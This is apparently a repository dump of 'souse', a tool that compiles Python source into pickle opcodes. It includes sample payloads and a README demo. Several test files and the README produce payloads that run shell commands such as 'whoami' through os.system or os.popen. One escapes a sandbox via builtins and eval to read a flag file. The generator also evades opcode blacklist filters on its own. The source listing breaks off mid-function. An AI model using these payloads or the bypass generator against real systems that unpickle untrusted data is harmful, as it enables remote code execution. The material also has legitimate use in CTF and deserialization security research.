├── souse ├── fake_module.py ├── __init__.py ├── test │ ├── N-call-2.py │ ├── N-attr-1.py │ ├── N-call-1.py │ ├── assign-3.py │ ├── N-attr-2.py │ ├── N-combo-1.py │ ├── attr-2.py │ ├── call-2.py │ ├── assign-2.py │ ├── attr-1.py │ ├── call-1.py │ ├── slice-2.py │ ├── N-assign-1.py │ ├── slice-1.py │ ├── call-3.py │ ├── combo-1.py │ ├── combo-3.py │ ├── combo-4.py │ ├── combo-5.py │ ├── combo-2.py │ └── assign-1.py ├── fake_firewall.json └── souse.py ├── pics ├── eg-1.png ├── eg-2.png ├── eg-3.png ├── help.png ├── test.png ├── eg-1-s.png └── eg-2-s.png ├── MANIFEST.in ├── .gitignore ├── setup.py ├── LICENSE └── README.md /souse/fake_module.py: -------------------------------------------------------------------------------- 1 | class A: 2 | pass 3 | -------------------------------------------------------------------------------- /souse/__init__.py: -------------------------------------------------------------------------------- 1 | name = "souse" 2 | from .souse import cli, API 3 | -------------------------------------------------------------------------------- /souse/test/N-call-2.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | os.system("whoami") 4 | -------------------------------------------------------------------------------- /souse/test/N-attr-1.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | requests.get.a = 1 4 | -------------------------------------------------------------------------------- /pics/eg-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-1.png -------------------------------------------------------------------------------- /pics/eg-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-2.png -------------------------------------------------------------------------------- /pics/eg-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-3.png -------------------------------------------------------------------------------- /pics/help.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/help.png -------------------------------------------------------------------------------- /pics/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/test.png -------------------------------------------------------------------------------- /souse/test/N-call-1.py: -------------------------------------------------------------------------------- 1 | from sys import modules 2 | 3 | a = modules.get("os") -------------------------------------------------------------------------------- /pics/eg-1-s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-1-s.png -------------------------------------------------------------------------------- /pics/eg-2-s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-2-s.png -------------------------------------------------------------------------------- /souse/test/assign-3.py: -------------------------------------------------------------------------------- 1 | a = {} 2 | a["empty"] = "" 3 | 4 | # b'(dp0\ng0\n(Vempty\nV\nu.' 5 | -------------------------------------------------------------------------------- /souse/test/N-attr-2.py: -------------------------------------------------------------------------------- 1 | from requests import get, post 2 | 3 | get.a = 1 4 | post.b = get.a 5 | -------------------------------------------------------------------------------- /souse/test/N-combo-1.py: -------------------------------------------------------------------------------- 1 | from sys import modules 2 | 3 | modules.get("os").system("whoami") 4 | -------------------------------------------------------------------------------- /souse/fake_firewall.json: -------------------------------------------------------------------------------- 1 | { 2 | "V": "*", 3 | "I01": "*", 4 | "I": "100", 5 | "R": "*" 6 | } 7 | -------------------------------------------------------------------------------- /souse/test/attr-2.py: -------------------------------------------------------------------------------- 1 | from fake_module import A 2 | 3 | A.a = 1 4 | # b'cfake_module\nA\np0\ng0\n(N}Va\nI1\nstb.' -------------------------------------------------------------------------------- /souse/test/call-2.py: -------------------------------------------------------------------------------- 1 | from os import system 2 | 3 | system("whoami") 4 | # b'cos\nsystem\np0\ng0\n(Vwhoami\ntR.' -------------------------------------------------------------------------------- /souse/test/assign-2.py: -------------------------------------------------------------------------------- 1 | from sys import modules 2 | 3 | a = modules 4 | 5 | # b'csys\nmodules\np0\ng0\np1\n.' 6 | -------------------------------------------------------------------------------- /souse/test/attr-1.py: -------------------------------------------------------------------------------- 1 | from requests import get 2 | 3 | get.a = 1 4 | # b'crequests\nget\np0\ng0\n(N}Va\nI1\nstb.' 5 | -------------------------------------------------------------------------------- /souse/test/call-1.py: -------------------------------------------------------------------------------- 1 | from os import system 2 | 3 | a = "whoami" 4 | system(a) 5 | # b'cos\nsystem\np0\nVwhoami\np1\ng0\n(g1\ntR.' -------------------------------------------------------------------------------- /souse/test/slice-2.py: -------------------------------------------------------------------------------- 1 | from builtins import globals 2 | 3 | globals()["PWD"] = "tr0y" 4 | 5 | # b'cbuiltins\nglobals\np0\ng0\n(tR(VPWD\nVtr0y\nu.' 6 | -------------------------------------------------------------------------------- /souse/test/N-assign-1.py: -------------------------------------------------------------------------------- 1 | from requests import get 2 | 3 | get.a = 1 4 | get.b = "2" 5 | get.c = (1, "2") 6 | 7 | get.d = (get.a, get.b) # NOT supported 8 | -------------------------------------------------------------------------------- /souse/test/slice-1.py: -------------------------------------------------------------------------------- 1 | from builtins import globals 2 | 3 | a = globals() 4 | a["PWD"] = "tr0y" 5 | # b'cbuiltins\nglobals\np0\ng0\n(tRp1\ng1\n(VPWD\nVtr0y\nu.' -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.rst 2 | include LICENSE 3 | recursive-exclude * __pycache__ 4 | recursive-exclude * *.py[co] 5 | recursive-exclude * .DS_Store 6 | include souse/test/* 7 | include souse/fake_* 8 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | result.py 2 | .DS_Store 3 | __pycache__/* 4 | __pycache__ 5 | test-source-code.py 6 | *-dev.py 7 | workspace 8 | tmp-*.py 9 | dist/ 10 | *.egg-info/ 11 | build/ 12 | .souse-result.tmp 13 | .eggs 14 | -------------------------------------------------------------------------------- /souse/test/call-3.py: -------------------------------------------------------------------------------- 1 | from sys import modules 2 | from os import popen 3 | 4 | a = popen("whoami") 5 | modules["exp"] = a 6 | 7 | from exp import read 8 | 9 | read() 10 | # os.popen("whoami").read() 11 | 12 | # b'csys\nmodules\np0\ncos\npopen\np1\ng1\n(Vwhoami\ntRp2\ng0\n(Vexp\ng2\nucexp\nread\np3\ng3\n(tR.' -------------------------------------------------------------------------------- /souse/test/combo-1.py: -------------------------------------------------------------------------------- 1 | from sys import modules 2 | 3 | a = modules 4 | a["sys"] = a 5 | 6 | from sys import get 7 | 8 | a["sys"] = get("os") 9 | 10 | from sys import system 11 | system("whoami") 12 | # b'csys\nmodules\np0\ng0\np1\ng1\n(Vsys\ng1\nucsys\nget\np2\ng1\n(Vsys\ng2\n(Vos\ntRucsys\nsystem\np3\ng3\n(Vwhoami\ntR.' 13 | -------------------------------------------------------------------------------- /souse/test/combo-3.py: -------------------------------------------------------------------------------- 1 | from math import sin, cos, tan 2 | 3 | k = { 4 | sin(cos(tan(cos(sin(tan(1)))))): { 5 | sin(cos(sin(cos(sin(1))))): cos(sin(cos(sin(cos(1))))) 6 | } 7 | } 8 | 9 | # b'cmath\nsin\np0\ncmath\ncos\np1\ncmath\ntan\np2\n(g0\n(g1\n(g2\n(g1\n(g0\n(g2\n(I1\ntRtRtRtRtRtR(g0\n(g1\n(g0\n(g1\n(g0\n(I1\ntRtRtRtRtRg1\n(g0\n(g1\n(g0\n(g1\n(I1\ntRtRtRtRtRddp3\n.' 10 | -------------------------------------------------------------------------------- /souse/test/combo-4.py: -------------------------------------------------------------------------------- 1 | from math import floor 2 | 3 | a = "3" 4 | 5 | b = [ 6 | 7 | [ 8 | 1, 9 | True, 10 | [1, 2], 11 | (1, 2), 12 | {1: 2}, 13 | 14 | [ 15 | [1, [1, 2]], a # , floor(1.5) 16 | ], 17 | 18 | ], 19 | 20 | ] 21 | 22 | # b'cmath\nfloor\np0\nV3\np1\n((I1\nI01\n(I1\nI2\nl(I1\nI2\nt(I1\nI2\nd((I1\n(I1\nI2\nllg1\nlllp2\n.' 23 | -------------------------------------------------------------------------------- /souse/test/combo-5.py: -------------------------------------------------------------------------------- 1 | from structs import __dict__, __builtins__, __getattribute__ 2 | 3 | __dict__["structs"] = __builtins__ 4 | __builtins__['__import__'] = __getattribute__ 5 | 6 | from structs import get 7 | 8 | a = get("eval") 9 | a('print(open("./flag").read())') 10 | 11 | # b'cstructs\n__dict__\np0\ncstructs\n__builtins__\np1\ncstructs\n__getattribute__\np2\ng0\n(Vstructs\ng1\nug1\n(V__import__\ng2\nucstructs\nget\np3\ng3\n(Veval\ntRp4\ng4\n(Vprint(open("./flag").read())\ntR.' 12 | -------------------------------------------------------------------------------- /souse/test/combo-2.py: -------------------------------------------------------------------------------- 1 | from builtins import getattr, dict, globals 2 | 3 | get = getattr(dict, 'get') 4 | g = globals() 5 | __builtins__ = get(g, '__builtins__') 6 | f = getattr(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'setattr') 7 | 8 | # b'cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\ncbuiltins\nglobals\np2\ng0\n(g1\nVget\ntRp3\ng2\n(tRp4\ng3\n(g4\nV__builtins__\ntRp5\ng0\n(g5\nVgetattr\ntR(g5\nVgetattr\ntR(g5\nVgetattr\ntR(g5\nVgetattr\ntR(g5\nVsetattr\ntRp6\n.' 9 | -------------------------------------------------------------------------------- /souse/test/assign-1.py: -------------------------------------------------------------------------------- 1 | from requests import get 2 | from builtins import set, tuple, list, frozenset 3 | 4 | 5 | get.a1 = 1 6 | get.a2 = "2" 7 | get.b1 = set() 8 | get.b2 = frozenset() 9 | get.b3 = () 10 | get.b4 = tuple() 11 | get.b5 = [] 12 | get.b6 = list() 13 | 14 | get.c1 = {} 15 | get.c2 = {1, "2", get} 16 | get.c3 = {1: 3, None: 2, "1": "2", get: 3} 17 | get.c4 = (1, "2", get) 18 | get.c5 = (None, True, False) 19 | 20 | # b'crequests\nget\np0\ncbuiltins\nset\np1\ncbuiltins\ntuple\np2\ncbuiltins\nlist\np3\ncbuiltins\nfrozenset\np4\ng0\n(N}Va1\nI1\nstbg0\n(N}Va2\nV2\nstbg0\n(N}Vb1\ng1\n(tRstbg0\n(N}Vb2\ng4\n(tRstbg0\n(N}Vb3\n(tstbg0\n(N}Vb4\ng2\n(tRstbg0\n(N}Vb5\n(lstbg0\n(N}Vb6\ng3\n(tRstbg0\n(N}Vc1\n(dstbg0\n(N}Vc2\n\x8f(I1\nV2\ng0\n\x90stbg0\n(N}Vc3\n(I1\nI3\nNI2\nV1\nV2\ng0\nI3\ndstbg0\n(N}Vc4\n(I1\nV2\ng0\ntstbg0\n(N}Vc5\n(NI01\nI00\ntstb.' 21 | 22 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import setuptools 2 | 3 | 4 | with open("README.md", "r") as fh: 5 | long_description = "".join(fh.readlines()[:-4]) 6 | 7 | setuptools.setup( 8 | name="souse", 9 | version="3.2.2", 10 | author="Tr0y", 11 | author_email="macr0phag3@qq.com", 12 | description="A tool for converting Python source code to opcode(pickle)", 13 | long_description=long_description, 14 | long_description_content_type="text/markdown", 15 | url="https://github.com/Macr0phag3/souse", 16 | packages=["souse"], 17 | include_package_data=True, 18 | classifiers=[ 19 | "Programming Language :: Python :: 3.6", 20 | "License :: OSI Approved :: MIT License", 21 | "Operating System :: OS Independent", 22 | ], 23 | install_requires=["colorama"], 24 | python_requires='>=3.6', 25 | entry_points={ 26 | "console_scripts": [ 27 | 'souse = souse:cli', 28 | ] 29 | } 30 | ) 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Macr0phag3 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # souse 2 | A tool for converting Python source code to opcode(pickle) 3 | 4 | ## 1. help 5 | 6 | 7 | 8 | ## 2. usage 9 | ### 2.1 CLI 10 | `./test/` has some example codes for souse.py. The filename starts with `N` is NOT supported yet. 11 | 12 | #### 2.1.1 case 1 13 | 14 | source code: 15 | 16 | 17 | 18 | opcode: 19 | 20 | 21 | 22 | #### 2.1.2 case 2 23 | 24 | source code: 25 | 26 | 27 | 28 | opcode: 29 | 30 | 31 | 32 | #### 2.1.3 case 3 33 | 34 | transfer opcode: 35 | 36 | 37 | 38 | supported: 39 | - [x] base64_encode 40 | - [x] hex_encode 41 | - [x] url_encode 42 | 43 | #### 2.1.4 test code 44 | 45 | 46 | 47 | ### 2.2 API 48 | example: 49 | 50 | ```py 51 | In [1]: import souse 52 | 53 | In [2]: exp = "from os import system\nsystem('whoami')" 54 | 55 | In [3]: souse.API(exp, optimized=True, transfer="b64").generate() 56 | Out[3]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4=' 57 | 58 | In [4]: import base64 59 | 60 | In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate() 61 | Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4=' 62 | 63 | In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate() 64 | Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4=' 65 | 66 | In [7]: import pickle 67 | 68 | In [8]: firewall_rules = { 69 | ...: "V": "*", 70 | ...: "I01": "*", 71 | ...: "I": "100", 72 | ...: "R": "*" 73 | ...: } 74 | 75 | In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate() 76 | [*] choice o to bypass rule: {'R': '*'} 77 | [*] choice S to bypass rule: {'V': '*'} 78 | macr0phag3 79 | Out[9]: 0 80 | ``` 81 | 82 | ## 3. TODO 83 | - [x] support for nested expressions 84 | - [x] opcode bypass supported 85 | - [x] auto bypass basic limitation(`V`、`S`、`I`、...) 86 | - [x] auto bypass complex limitation(`R`、`o`、`i`) 87 | - [x] value bypass supported 88 | - [x] number 89 | - [x] API 90 | - [x] `pip install` supported 91 | 92 | ## ## Others 93 | 94 | 95 | [![Stargazers over time](https://starchart.cc/Macr0phag3/souse.svg)](https://starchart.cc/Macr0phag3/souse) 96 | -------------------------------------------------------------------------------- /souse/souse.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import ast 4 | import json 5 | import pickle 6 | import struct 7 | import argparse 8 | import functools 9 | import pickletools 10 | 11 | from colorama import Fore, Style, init as Init 12 | 13 | 14 | def put_color(string, color, bold=True): 15 | ''' 16 | give me some color to see :P 17 | ''' 18 | 19 | if color == 'gray': 20 | COLOR = Style.DIM+Fore.WHITE 21 | else: 22 | COLOR = getattr(Fore, color.upper(), "WHITE") 23 | 24 | return f'{Style.BRIGHT if bold else ""}{COLOR}{str(string)}{Style.RESET_ALL}' 25 | 26 | 27 | def transfer_funcs(func_name): 28 | if not func_name: 29 | return lambda x: x 30 | func = { 31 | 'base64_encode': __import__('base64').b64encode, 32 | 'hex_encode': functools.partial(__import__('codecs').encode, encoding="hex"), 33 | 'url_decode': __import__('urllib.parse', fromlist=[""]).quote_plus, 34 | }.get(FUNC_NAME.get(func_name, func_name), 'unknown') 35 | if func == 'unknown': 36 | raise RuntimeError(put_color( 37 | f"no such transfer function: {put_color(func_name, 'blue')}", 38 | "yellow" 39 | )) 40 | 41 | return func 42 | 43 | 44 | class Visitor(ast.NodeVisitor): 45 | def __init__(self, source_code, firewall_rules): 46 | self.names = {} # 变量记录 47 | self.memo_id = 0 # memo 的顶层 id 48 | self.firewall_rules = firewall_rules 49 | self.source_code = source_code 50 | 51 | self.final_opcode = b'' 52 | 53 | def souse(self): 54 | self.result = self.final_opcode+b'.' 55 | 56 | def check(self): 57 | with open('.souse-result.tmp', 'w') as fw: 58 | fw.write( 59 | 'import pickle\n' 60 | f'print(pickle.loads({repr(self.result)}), end="")\n' 61 | ) 62 | 63 | return os.popen( 64 | f"{sys.executable} .souse-result.tmp" 65 | ).read() 66 | 67 | def optimize(self): 68 | optimized = [] 69 | result = pickletools.optimize(self.result).split(b'\n') 70 | memo_g_ids = [i for i in result if i.startswith(b"g")] 71 | while result: 72 | optimized.append(result.pop(0)) 73 | 74 | if ( 75 | len(optimized) > 2 and 76 | optimized[-2].startswith(b"p") and 77 | optimized[-1].startswith(b"g") and 78 | optimized[-1][1:] == optimized[-2][1:] and 79 | memo_g_ids.count(optimized[-1]) == 1 80 | ): 81 | # 优化掉 82 | optimized.pop() 83 | 84 | return pickletools.optimize(b'\n'.join(optimized)) 85 | 86 | def _flat(self, node): 87 | '''递归处理基础的语句 88 | ''' 89 | _types = { 90 | ast.Constant: self._parse_constant, 91 | ast.List: self._parse_list, 92 | ast.Set: self._parse_set, 93 | ast.Tuple: self._parse_tuple, 94 | ast.Dict: self._parse_dict, 95 | ast.Name: self._parse_name, 96 | ast.Call: self._parse_call, 97 | ast.Attribute: self._parse_attribute, 98 | ast.Subscript: self._parse_subscript, 99 | } 100 | 101 | for _type in _types: 102 | if isinstance(node, _type): 103 | return _types[_type](node) 104 | 105 | raise RuntimeError( 106 | put_color("this struct is not supported yet: ", "red") + 107 | f'{put_color(node.__class__, "cyan")} in {self.code}' 108 | ) 109 | 110 | def _parse_constant(self, node): 111 | def __generate_int(): 112 | code = ['I', 'J'] 113 | related_rules = { 114 | k: v for k, v in self.firewall_rules.items() 115 | if k in code and v in [str(node.value), "*"] 116 | } 117 | if not related_rules: 118 | return f'{code[0]}{node.value}\n' 119 | 120 | bypass_code = [i for i in code if i not in related_rules] 121 | if not bypass_code: 122 | raise RuntimeError( 123 | f"can NOT bypass: {put_color(related_rules, 'white')}, " 124 | f"must use opcode in {put_color(code, 'white')}" 125 | ) 126 | 127 | print( 128 | f"[*] choice {put_color(bypass_code[0], 'blue')} " 129 | # f"instead of {put_color(pure_code[0], 'white')} " 130 | f"to bypass rule: {put_color(related_rules, 'white')}" 131 | ) 132 | 133 | if bypass_code[0] == 'J': 134 | return b"J"+struct.pack('i0i', node.value) 135 | else: 136 | raise NotImplementedError( 137 | f"{put_color('BUG FOUND', 'red')}, bypass code " 138 | f"{put_color(bypass_code[0], 'white')} is " 139 | 'not implemented' 140 | ) 141 | 142 | def __generate_float(): 143 | return f'F{node.value}\n' 144 | 145 | def __generate_str(): 146 | code = ['V', 'S'] 147 | related_rules = { 148 | k: v for k, v in self.firewall_rules.items() 149 | if k in code and v in [str(node.value), "*"] 150 | } 151 | if not related_rules: 152 | return f'{code[0]}{node.value}\n' 153 | 154 | bypass_code = [i for i in code if i not in related_rules] 155 | if not bypass_code: 156 | raise RuntimeError( 157 | f"can NOT bypass: {put_color(related_rules, 'white')}, " 158 | f"must use opcode in {put_color(code, 'white')}" 159 | ) 160 | 161 | print( 162 | f"[*] choice {put_color(bypass_code[0], 'blue')} " 163 | f"to bypass rule: {put_color(related_rules, 'white')}" 164 | ) 165 | if bypass_code[0] == 'S': 166 | return f"S'{node.value}'\n" 167 | else: 168 | raise NotImplementedError( 169 | f"{put_color('BUG FOUND', 'red')}, bypass code " 170 | f"{put_color(bypass_code[0], 'white')} is " 171 | 'not implemented' 172 | ) 173 | 174 | def __generate_none(): 175 | return f'N' 176 | 177 | def __generate_true(): 178 | code = ['I01', '\\x88'] 179 | related_rules = { 180 | k: v for k, v in self.firewall_rules.items() 181 | if k in code and v in ["*"] 182 | } 183 | if not related_rules: 184 | return f'{code[0]}\n' 185 | 186 | bypass_code = [i for i in code if i not in related_rules] 187 | if not bypass_code: 188 | raise RuntimeError( 189 | f"can NOT bypass: {put_color(related_rules, 'white')}, " 190 | f"must use opcode in {put_color(code, 'white')}" 191 | ) 192 | 193 | print( 194 | f"[*] choice {put_color(bypass_code[0], 'blue')} " 195 | f"to bypass rule: {put_color(related_rules, 'white')}" 196 | ) 197 | if bypass_code[0] == '\\x88': 198 | return b'\x88' 199 | else: 200 | raise NotImplementedError( 201 | f"{put_color('BUG FOUND', 'red')}, bypass code " 202 | f"{put_color(bypass_code[0], 'white')} is " 203 | 'not implemented' 204 | ) 205 | return f'{bypass_code[0]}\n' 206 | 207 | def __generate_false(): 208 | code = ['I00', '\\x89'] 209 | related_rules = { 210 | k: v for k, v in self.firewall_rules.items() 211 | if k in code and v in ["*"] 212 | } 213 | if not related_rules: 214 | return f'{code[0]}\n' 215 | 216 | bypass_code = [i for i in code if i not in related_rules] 217 | if not bypass_code: 218 | raise RuntimeError( 219 | f"can NOT bypass: {put_color(related_rules, 'white')}, " 220 | f"must use opcode in {put_color(code, 'white')}" 221 | ) 222 | 223 | print( 224 | f"[*] choice {put_color(bypass_code[0], 'blue')} " 225 | f"to bypass rule: {put_color(related_rules, 'white')}" 226 | ) 227 | if bypass_code[0] == '\\x89': 228 | return b'\x89' 229 | else: 230 | raise NotImplementedError( 231 | f"{put_color('BUG FOUND', 'red')}, bypass code " 232 | f"{put_color(bypass_code[0], 'white')} is " 233 | 'not implemented' 234 | ) 235 | return f'{bypass_code[0]}\n' 236 | 237 | value_map = { 238 | int: __generate_int, 239 | float: __generate_float, 240 | str: __generate_str, 241 | 242 | None: __generate_none, 243 | True: __generate_true, 244 | False: __generate_false, 245 | } 246 | generate_func = ( 247 | value_map.get(type(node.value), None) 248 | or 249 | value_map.get(node.value, None) 250 | ) 251 | if generate_func is None: 252 | raise RuntimeError( 253 | put_color('this basic type is not supported yet: ', 'red') + 254 | f"{put_color(node.value, 'cyan')} in {self.code}, " 255 | f"type is {put_color(type(node.value), 'cyan')}" 256 | ) 257 | 258 | result = generate_func() 259 | if isinstance(result, str): 260 | result = result.encode() 261 | 262 | return result 263 | 264 | def _parse_set(self, node): 265 | # PVM Protocol 4 266 | return ( 267 | b'\x8f(' + 268 | b"".join([self._flat(elt) for elt in node.elts]) + 269 | b'\x90' 270 | ) 271 | 272 | def _parse_list(self, node): 273 | return ( 274 | b'(' + 275 | b"".join([self._flat(elt) for elt in node.elts]) + 276 | b'l' 277 | ) 278 | 279 | def _parse_tuple(self, node): 280 | return ( 281 | b'(' + 282 | b"".join([self._flat(elt) for elt in node.elts]) + 283 | b't' 284 | ) 285 | 286 | def _parse_dict(self, node): 287 | return ( 288 | b'(' + 289 | b"".join([self._flat(k) + self._flat(v) for k, v in zip(node.keys, node.values)]) + 290 | b'd' 291 | ) 292 | 293 | def _parse_name(self, node): 294 | memo_name = self.names.get(node.id, [None, None])[0] 295 | if memo_name is None: 296 | # 说明之前没有定义这个变量 297 | raise RuntimeError( 298 | put_color("this var is not defined: ", "red") + 299 | f'{put_color(node.id, "cyan")} in {self.code}' 300 | ) 301 | 302 | return f'g{memo_name}\n'.encode('utf-8') 303 | 304 | def _parse_attribute(self, node): 305 | targets = node.value 306 | attr = node.attr 307 | 308 | if isinstance(targets, ast.Name): 309 | # eg: from requests import get 310 | # get.a = 1 311 | # eg: from fake_module import A 312 | # A.a = 1 # A is 'mappingproxy' object 313 | 314 | opcode = self._flat(targets) 315 | return opcode, attr.encode("utf-8") 316 | else: 317 | raise RuntimeError( 318 | put_color("this complex dot operators(.) is not supported yet: ", "red") + 319 | f'{put_color(targets.__class__, "cyan")} in {self.code}' 320 | ) 321 | 322 | def _parse_subscript(self, node): 323 | # 先分析 [] 里面 324 | if isinstance(node.slice, ast.Index): 325 | # 兼容 py < 3.9 326 | node.slice = node.slice.value 327 | 328 | if isinstance(node.slice, ast.Subscript): 329 | raise RuntimeError( 330 | put_color("this nested index is not supported yet: ") + 331 | f'{put_color(node.slice.__class__, "cyan")} in {self.code}' 332 | ) 333 | 334 | inside_opcode = self._flat(node.slice) 335 | 336 | # 再分析 [] 外面 337 | outside_opcode = self._flat(node.value) 338 | return outside_opcode, inside_opcode 339 | 340 | def _parse_call(self, node): 341 | def _normal_generate(node): 342 | if isinstance(node.func, ast.Name) or isinstance(node.func, ast.Call): 343 | opcode = ( 344 | b"(" + b"".join( 345 | [self._flat(arg) for arg in node.args] 346 | ) + b"tR" 347 | ) 348 | else: 349 | raise RuntimeError( 350 | put_color("this function call is not supported yet: ", "red") + 351 | f'{put_color(node.func.__class__, "cyan")} in {self.code}' 352 | ) 353 | 354 | # 获取函数名 355 | # eg: from sys import modules 356 | # a = modules.get("os") 357 | func_name = self._flat(node.func) 358 | return func_name+opcode 359 | 360 | def _obj_generate(node): 361 | func_name = self._flat(node.func) 362 | if isinstance(node.func, ast.Call) or isinstance(node.func, ast.Name): 363 | opcode = ( 364 | b"(" + func_name + b"".join( 365 | [self._flat(arg) for arg in node.args] 366 | ) + b"o" 367 | ) 368 | else: 369 | raise RuntimeError( 370 | put_color("this function call is not supported yet: ", "red") + 371 | f'{put_color(node.func.__class__, "cyan")} in {self.code}' 372 | ) 373 | 374 | return opcode 375 | 376 | def _instance_generate(node): 377 | # (S'ls'\nios\nsystem\n 378 | func_name = self._flat(node.func) 379 | code, num = list(func_name.strip().decode()) 380 | 381 | imported_func = [ 382 | (j[1], i) 383 | for i, j in self.names.items() 384 | if j[0] == num and j[1] 385 | ] 386 | if code != 'g' or not imported_func: 387 | raise RuntimeError( 388 | f"can NOT bypass: {put_color(related_rules, 'white')}, " 389 | f"function must can be import then call: {put_color(self.code, 'white')}" 390 | ) 391 | 392 | imported_func = imported_func[0] 393 | if isinstance(node.func, ast.Name): 394 | opcode = ( 395 | b"(" + b"".join( 396 | [self._flat(arg) for arg in node.args] 397 | ) + b"i" + ("\n".join(imported_func)).encode() + b"\n" 398 | ) 399 | else: 400 | raise RuntimeError( 401 | put_color("this function call is not supported yet: ", "red") + 402 | f'{put_color(node.func.__class__, "cyan")} in {self.code}' 403 | ) 404 | 405 | return opcode 406 | 407 | code = ['R', 'o', 'i'] 408 | related_rules = { 409 | k: v for k, v in self.firewall_rules.items() 410 | if k in code and v in ["*"] 411 | } 412 | if not related_rules: 413 | return _normal_generate(node) 414 | 415 | bypass_code = [i for i in code if i not in related_rules] 416 | if not bypass_code: 417 | raise RuntimeError( 418 | f"can NOT bypass: {put_color(related_rules, 'white')}, " 419 | f"must use opcode in {put_color(code, 'white')}" 420 | ) 421 | 422 | print( 423 | f"[*] choice {put_color(bypass_code[0], 'blue')} " 424 | f"to bypass rule: {put_color(related_rules, 'white')}" 425 | ) 426 | 427 | if bypass_code[0] == 'o': 428 | return _obj_generate(node) 429 | elif bypass_code[0] == 'i': 430 | return _instance_generate(node) 431 | else: 432 | raise NotImplementedError( 433 | f"{put_color('BUG FOUND', 'red')}, bypass code " 434 | f"{put_color(bypass_code[0], 'white')} is " 435 | 'not implemented' 436 | ) 437 | 438 | def visit_Import(self, node): 439 | # MUST raise an Error 440 | # eg: import os 441 | self.code = put_color("\n".join( 442 | self.source_code.split('\n') 443 | [node.lineno-1: node.end_lineno] 444 | ), "white") 445 | 446 | for _name in node.names: 447 | name = _name.name 448 | asname = f' as {_name.asname}' if _name.asname else '' 449 | 450 | raise RuntimeError( 451 | put_color("direct import is not supported yet: ", "red") + 452 | f"{self.code}, " 453 | "use " + 454 | put_color(f"from {name} import xxx{asname}", "cyan") + 455 | " instead!" 456 | ) 457 | 458 | def visit_ImportFrom(self, node): 459 | # eg: from os import system 460 | # eg: from os import system as sys 461 | # eg: from os import system, popen 462 | def _generate_opcode(): 463 | for _name in node.names: 464 | name = _name.asname or _name.name 465 | self.names[name] = [str(self.memo_id), node.module] 466 | self.final_opcode += f'c{node.module}\n{name}\np{self.memo_id}\n'.encode('utf-8') 467 | self.memo_id += 1 468 | 469 | _generate_opcode() 470 | 471 | def visit_Assign(self, node): 472 | # 赋值 473 | # a = "whoami" 474 | def _generate_opcode(): 475 | if isinstance(node.targets[0], ast.Tuple): 476 | raise RuntimeError( 477 | put_color("mass assignment is not supported yet: ", "red") + 478 | f"{self.code}, unpack it!" 479 | ) 480 | 481 | # 先分析等号左边 482 | if isinstance(node.targets[0], ast.Name): 483 | # eg: a = ... 484 | name = node.targets[0].id 485 | assign_opcode = b'{right_opcode}p{self.memo_id}\n' \ 486 | .replace(b'{self.memo_id}', str(self.memo_id).encode("utf-8")) 487 | 488 | self.names[name] = [str(self.memo_id), None] 489 | self.memo_id += 1 490 | 491 | elif isinstance(node.targets[0], ast.Attribute): 492 | # 等号左边有 . 出现 493 | left_opcode, attr = self._parse_attribute(node.targets[0]) 494 | assign_opcode = b'{left_opcode}(N}V{attr}\n{right_opcode}stb' \ 495 | .replace(b'{left_opcode}', left_opcode) \ 496 | .replace(b'{attr}', attr) 497 | 498 | elif isinstance(node.targets[0], ast.Subscript): 499 | # eg: a["test"] = ... 500 | outside_opcode, inside_opcode = self._flat( 501 | node.targets[0] 502 | ) 503 | assign_opcode = b'{outside_opcode}({inside_opcode}{right_opcode}u' \ 504 | .replace(b'{outside_opcode}', outside_opcode) \ 505 | .replace(b'{inside_opcode}', inside_opcode) 506 | 507 | else: 508 | raise RuntimeError( 509 | put_color("this complex assignment is not supported yet: ", "red") + 510 | 